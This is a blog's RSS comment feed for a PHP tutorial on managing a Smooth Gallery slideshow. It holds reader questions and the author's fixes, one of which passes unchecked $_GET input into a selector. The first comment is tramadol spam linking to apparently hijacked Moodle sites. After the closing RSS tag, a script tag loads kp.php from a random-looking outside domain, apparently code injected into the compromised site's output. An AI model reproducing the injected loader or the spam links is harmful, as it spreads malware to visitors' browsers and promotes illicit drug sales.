















































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: PHP Tutorial: Build a Backend Manager for Smooth Gallery</title>
	<atom:link href="http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/feed" rel="self" type="application/rss+xml" />
	<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery</link>
	<description>Web design &#38; development work of Stefan Matei</description>
	<lastBuildDate>Wed, 21 Jul 2010 14:01:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Sibagonna</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-13037</link>
		<dc:creator>Sibagonna</dc:creator>
		<pubDate>Sun, 27 Jun 2010 07:35:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-13037</guid>
		<description>[url=http://moodle.ump.edu.my/b/cdcf2-tramadol-overnight-no-prior.php]Ultracet[/url] cheapest tramadol available online = [url=http://kcs.kgbsd.org/moodle/b/f4814-tramadol-saturday-delivery-no-prescription.php]Utram[/url] cheap tramadol fedex overnight = [url=http://elearning.unisla.pt/b/946cd-order-tramadol-next-day-shipping.php]Ultracet[/url] cheapest tramadol available online = [url=http://testwood.moodle.uk.net/b/3c8e-cod-sat-delivery-tramadol.php]Utram[/url] cheap tramadol fedex overnight = [url=http://moodle.mcs-bochum.de/b/7cdae-commercial-mortgage-broker-buy-tramadol.php]tramadol us pharmacies overnight[/url] buy tramadol cheap 120 = [url=http://www.esalesianos.com/moodle/b/1b01c-safe-tramadol-american-pharmacy-online.php]Pain[/url] cheapest tramadol available online = [url=http://www.wrc.net/moodle/b/c07d-cheap-tramadol-with-saturday-delivery.php]tramadol 377 from canadian pharmacy[/url] health solutions network tramadol order = [url=http://moodle.usd116.org/b/f159d-saturday-delivery-tramadol-cod.php]no prescription tramadol us pharmacy[/url] cheap fioricet medication online phentermine tramadol = [url=http://moodle.ump.edu.my/b/fd0a7-without-prescription-tramadol-online.php]cash loans online buy tramadol[/url] online pharmacy tramadol pharmacy prilosec = [url=http://moodle.brauer.vic.edu.au/b/0a70-cheap-tramadol-cod-89.00.php]Adolan[/url] cheapest tramadol available online</description>
		<content:encoded><![CDATA[<p>[url=http://moodle.ump.edu.my/b/cdcf2-tramadol-overnight-no-prior.php]Ultracet[/url] cheapest tramadol available online = [url=http://kcs.kgbsd.org/moodle/b/f4814-tramadol-saturday-delivery-no-prescription.php]Utram[/url] cheap tramadol fedex overnight = [url=http://elearning.unisla.pt/b/946cd-order-tramadol-next-day-shipping.php]Ultracet[/url] cheapest tramadol available online = [url=http://testwood.moodle.uk.net/b/3c8e-cod-sat-delivery-tramadol.php]Utram[/url] cheap tramadol fedex overnight = [url=http://moodle.mcs-bochum.de/b/7cdae-commercial-mortgage-broker-buy-tramadol.php]tramadol us pharmacies overnight[/url] buy tramadol cheap 120 = [url=http://www.esalesianos.com/moodle/b/1b01c-safe-tramadol-american-pharmacy-online.php]Pain[/url] cheapest tramadol available online = [url=http://www.wrc.net/moodle/b/c07d-cheap-tramadol-with-saturday-delivery.php]tramadol 377 from canadian pharmacy[/url] health solutions network tramadol order = [url=http://moodle.usd116.org/b/f159d-saturday-delivery-tramadol-cod.php]no prescription tramadol us pharmacy[/url] cheap fioricet medication online phentermine tramadol = [url=http://moodle.ump.edu.my/b/fd0a7-without-prescription-tramadol-online.php]cash loans online buy tramadol[/url] online pharmacy tramadol pharmacy prilosec = [url=http://moodle.brauer.vic.edu.au/b/0a70-cheap-tramadol-cod-89.00.php]Adolan[/url] cheapest tramadol available online</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facun</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11788</link>
		<dc:creator>Facun</dc:creator>
		<pubDate>Tue, 20 Apr 2010 10:09:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-11788</guid>
		<description>OMG, my comment has become a real mess! Do u still understand it?

I was trying to ask why I get an &lt;code&gt;Undefined index&lt;/code&gt; and if I could enhance this kind of databaseless logic to upload images to a simple CSS/lightbox gallery (not Smooth Gallery).</description>
		<content:encoded><![CDATA[<p>OMG, my comment has become a real mess! Do u still understand it?</p>
<p>I was trying to ask why I get an <code>Undefined index</code> and if I could enhance this kind of databaseless logic to upload images to a simple CSS/lightbox gallery (not Smooth Gallery).</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facun</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11787</link>
		<dc:creator>Facun</dc:creator>
		<pubDate>Tue, 20 Apr 2010 09:59:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-11787</guid>
		<description>Thanks a lot for this great tutorial!

I&#039;m now building my own gallery backend using the same logic, but with few variations: 
It´s just a simple thumbnail gallery with lightbox effect, so I don´t need  and  tabs inside the placeholder, but a &#039;title&#039; property for the captions: 

&lt;blockquote&gt;
  // Add the new element
              $temp&#95;item=new simple&#95;html&#95;dom();
              $temp&#95;item-&gt;load(&#039;
                    
                      &lt;a href=&quot;#&quot; title=&quot;&quot; rel=&quot;nofollow&quot;&gt;&lt;/a&gt; 
                
&lt;/blockquote&gt;

Works fine but displays a notice when deleting an image: 

&lt;blockquote&gt;
  Notice: Undefined index: delete-1 in
  C:\wamp\www\backend&#95;fotos\manager.php
  on line 132
  
  Notice: Undefined index: delete-2 in
  C:\wamp\www\backend&#95;fotos\manager.php
  on line 132
  
  Notice: Undefined index: delete-3 in
  C:\wamp\www\backend&#95;fotos\manager.php
  on line 132
  etc.
&lt;/blockquote&gt;

This is the mentioned line commented by you:

&lt;blockquote&gt;
  if ($&#95;POST[&#039;delete-&#039;.$i]){ 
                      // if &#039;delete&#039; was selected, remove the node. ex: if &#039;delete-2&#039; was
  selected, then delete the second
  element
                      $items[$i]-&gt;outertext=&#039;&#039;;

&lt;pre&gt;&lt;code&gt;                // store the deleted ones&#039; positions in another array
                $deleted&#95;positions[$j]=$i;
                $j++;
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;

My php knowledge is poor, any help would be appreciated.

By the way, do I need a database if I want to build a backend which can upload images from the computer itself, or could I implement this databaseless logic to fit my needs?

Thank you in advance!

Best wishes, Facun.</description>
		<content:encoded><![CDATA[<p>Thanks a lot for this great tutorial!</p>
<p>I&#8217;m now building my own gallery backend using the same logic, but with few variations:<br />
It´s just a simple thumbnail gallery with lightbox effect, so I don´t need  and  tabs inside the placeholder, but a &#8216;title&#8217; property for the captions: </p>
<blockquote><p>
  // Add the new element<br />
              $temp&#95;item=new simple&#95;html&#95;dom();<br />
              $temp&#95;item-&gt;load(&#8216;</p>
<p>                      <a href="#" title="" rel="nofollow"></a> </p>
</blockquote>
<p>Works fine but displays a notice when deleting an image: </p>
<blockquote><p>
  Notice: Undefined index: delete-1 in<br />
  C:\wamp\www\backend&#95;fotos\manager.php<br />
  on line 132</p>
<p>  Notice: Undefined index: delete-2 in<br />
  C:\wamp\www\backend&#95;fotos\manager.php<br />
  on line 132</p>
<p>  Notice: Undefined index: delete-3 in<br />
  C:\wamp\www\backend&#95;fotos\manager.php<br />
  on line 132<br />
  etc.
</p></blockquote>
<p>This is the mentioned line commented by you:</p>
<blockquote><p>
  if ($&#95;POST['delete-'.$i]){<br />
                      // if &#8216;delete&#8217; was selected, remove the node. ex: if &#8216;delete-2&#8242; was<br />
  selected, then delete the second<br />
  element<br />
                      $items[$i]-&gt;outertext=&#8221;;</p>
<pre><code>                // store the deleted ones' positions in another array
                $deleted&#95;positions[$j]=$i;
                $j++;
</code></pre>
</blockquote>
<p>My php knowledge is poor, any help would be appreciated.</p>
<p>By the way, do I need a database if I want to build a backend which can upload images from the computer itself, or could I implement this databaseless logic to fit my needs?</p>
<p>Thank you in advance!</p>
<p>Best wishes, Facun.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11162</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 17 Feb 2010 14:15:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-11162</guid>
		<description>@&lt;a href=&quot;http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11153&quot; rel=&quot;nofollow&quot;&gt;Duncan&lt;/a&gt;: I&#039;ve had some problems with the website and have some cleaning to do on the server over the weekend. I have errors all over the place.

Until then, you can use this direct link to download the archive: &lt;a href=&quot;http://www.vileworks.com/wp-content/files/gallery&#95;backend.zip&quot; rel=&quot;nofollow&quot;&gt;www.vileworks.com/wp-content/files/gallery&#95;backend.zip&lt;/a&gt;

Cheers!</description>
		<content:encoded><![CDATA[<p>@<a href="http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11153" rel="nofollow">Duncan</a>: I&#8217;ve had some problems with the website and have some cleaning to do on the server over the weekend. I have errors all over the place.</p>
<p>Until then, you can use this direct link to download the archive: <a href="http://www.vileworks.com/wp-content/files/gallery&#95;backend.zip" rel="nofollow">http://www.vileworks.com/wp-content/files/gallery&#95;backend.zip</a></p>
<p>Cheers!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Duncan</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-11153</link>
		<dc:creator>Duncan</dc:creator>
		<pubDate>Tue, 16 Feb 2010 21:30:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-11153</guid>
		<description>Your Link doesn&#039;t work for the smooth gallery mananger download :(</description>
		<content:encoded><![CDATA[<p>Your Link doesn&#8217;t work for the smooth gallery mananger download :(</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: vlad</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-7899</link>
		<dc:creator>vlad</dc:creator>
		<pubDate>Wed, 23 Sep 2009 10:14:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-7899</guid>
		<description>Thanks very much for fast and useful reply. All the best. Vlad</description>
		<content:encoded><![CDATA[<p>Thanks very much for fast and useful reply. All the best. Vlad</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-7871</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Tue, 22 Sep 2009 19:42:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-7871</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-7841&quot; rel=&quot;nofollow&quot;&gt;vlad&lt;/a&gt;: From the downloaded archive you only need the file called &quot;manager.php&quot; and the &quot;backend&quot; folder.&lt;/p&gt;

&lt;p&gt;Place those two in the same folder as the gallery file.&lt;/p&gt;

&lt;p&gt;Edit &quot;manager.php&quot; and modify these two variables:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;$password=&#039;demo&#039;;&lt;/p&gt;
  
  &lt;p&gt;$gallery&#95;location=&#039;index.html&#039;;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hope this helps!&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-7841" rel="nofollow">vlad</a>: From the downloaded archive you only need the file called &#8220;manager.php&#8221; and the &#8220;backend&#8221; folder.</p>
<p>Place those two in the same folder as the gallery file.</p>
<p>Edit &#8220;manager.php&#8221; and modify these two variables:</p>
<blockquote>
<p>$password=&#8217;demo&#8217;;</p>
<p>$gallery&#95;location=&#8217;index.html&#8217;;</p>
</blockquote>
<p>Hope this helps!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: vlad</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-7841</link>
		<dc:creator>vlad</dc:creator>
		<pubDate>Mon, 21 Sep 2009 12:54:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-7841</guid>
		<description>Thanks Stefan for sharing your knowledge and work. I am stuck. I found the easiest way to insert link into slideshow on your demo but I am unable to execute the smooth gallery manager.php. Where I should upload it. I already tried upload it alone into plugins, into smooth gallery and I don&#039;t see it in plugins neither in settings and editor. I just don&#039;t have the knowing how. Can you please be of asistance. Thanks very much. &lt;a href=&quot;http://vladimirklimsa.com&quot; rel=&quot;nofollow&quot;&gt;Vladimir&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Thanks Stefan for sharing your knowledge and work. I am stuck. I found the easiest way to insert link into slideshow on your demo but I am unable to execute the smooth gallery manager.php. Where I should upload it. I already tried upload it alone into plugins, into smooth gallery and I don&#8217;t see it in plugins neither in settings and editor. I just don&#8217;t have the knowing how. Can you please be of asistance. Thanks very much. <a href="http://vladimirklimsa.com" rel="nofollow">Vladimir</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-1458</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Thu, 12 Mar 2009 12:18:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-1458</guid>
		<description>@&lt;a href=&quot;#comment-1456&quot; rel=&quot;nofollow&quot;&gt;Svante Karlsson&lt;/a&gt;:

If you take a look at its source code you&#039;ll see that the gallery&#039;s HTML is very similar to the HTML of the gallery from my article. Only difference is the gallery set has multiple galleries in it.
&lt;pre&gt;
&lt;div id=&quot;gallerySet&quot;&gt;
    &lt;div id=&quot;myGallery1&quot; class=&quot;galleryElement&quot;&gt;
          ....
    &lt;/div&gt;
    &lt;div id=&quot;myGallery2&quot; class=&quot;galleryElement&quot;&gt;
          ....
    &lt;/div&gt;
&lt;/div&gt;

&lt;/pre&gt;
The above is what a gallery set looks like. My gallery (from the tut) looks like this:
&lt;pre&gt;
&lt;div id=&quot;myGallery&quot; class=&quot;galleryElement&quot;&gt;
    ....
&lt;/div&gt;
&lt;/pre&gt;
So what you need to do is to send that gallery id (i.e. myGallery, or myGallery1, or myGallery2) to the php script in order to tell it what gallery to edit.

In short, you have to change this line:

    &lt;pre&gt;$items = $html-&gt;find(&#039;#myGallery .imageElement&#039;)&lt;/pre&gt;

to this:

    &lt;pre&gt;$items = $html-&gt;find($&#95;GET[&quot;gallery&#95;id&quot;] . &#039; .imageElement&#039;); &lt;/pre&gt;

(Just to make sure, check all the apostrophes and quotes, WordPress comments may have screwed &#039;em up.)

Then, when you access the php file, add at the end of its address ?gallery&#95;id=myGallery1 or ?gallery&#95;id=myGallery2 in order to pass it the correct parameter (I&#039;m assuming you know how to send a value via GET).

That should work, hope it makes sense.</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-1456" rel="nofollow">Svante Karlsson</a>:</p>
<p>If you take a look at its source code you&#8217;ll see that the gallery&#8217;s HTML is very similar to the HTML of the gallery from my article. Only difference is the gallery set has multiple galleries in it.</p>
<pre>
&lt;div id="gallerySet"&gt;
    &lt;div id="myGallery1" class="galleryElement"&gt;
          ....
    &lt;/div>
    &lt;div id="myGallery2" class="galleryElement"&gt;
          ....
    &lt;/div&gt;
&lt;/div&gt;
</pre>
<p>The above is what a gallery set looks like. My gallery (from the tut) looks like this:</p>
<pre>
&lt;div id="myGallery" class="galleryElement"&gt;
    ....
&lt;/div&gt;
</pre>
<p>So what you need to do is to send that gallery id (i.e. myGallery, or myGallery1, or myGallery2) to the php script in order to tell it what gallery to edit.</p>
<p>In short, you have to change this line:</p>
<pre>$items = $html-&gt;find('#myGallery .imageElement')</pre>
<p>to this:</p>
<pre>$items = $html-&gt;find($&#95;GET["gallery&#95;id"] . ' .imageElement'); </pre>
<p>(Just to make sure, check all the apostrophes and quotes, WordPress comments may have screwed &#8216;em up.)</p>
<p>Then, when you access the php file, add at the end of its address ?gallery&#95;id=myGallery1 or ?gallery&#95;id=myGallery2 in order to pass it the correct parameter (I&#8217;m assuming you know how to send a value via GET).</p>
<p>That should work, hope it makes sense.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Svante Karlsson</title>
		<link>http://www.vileworks.com/php-tutorial-build-a-backend-manager-for-smooth-gallery/comment-page-1#comment-1456</link>
		<dc:creator>Svante Karlsson</dc:creator>
		<pubDate>Thu, 12 Mar 2009 11:52:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=85#comment-1456</guid>
		<description>Hello dear and almighty admin creator!
I would like to know how to modify the admin so it can be used with more than one gallery. So you can have your gallery look like this http://smoothgallery.jondesign.net/showcase/gallery-set/ and still have an awesome admin!
/Svante</description>
		<content:encoded><![CDATA[<p>Hello dear and almighty admin creator!<br />
I would like to know how to modify the admin so it can be used with more than one gallery. So you can have your gallery look like this <a href="http://smoothgallery.jondesign.net/showcase/gallery-set/" rel="nofollow">http://smoothgallery.jondesign.net/showcase/gallery-set/</a> and still have an awesome admin!<br />
/Svante</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>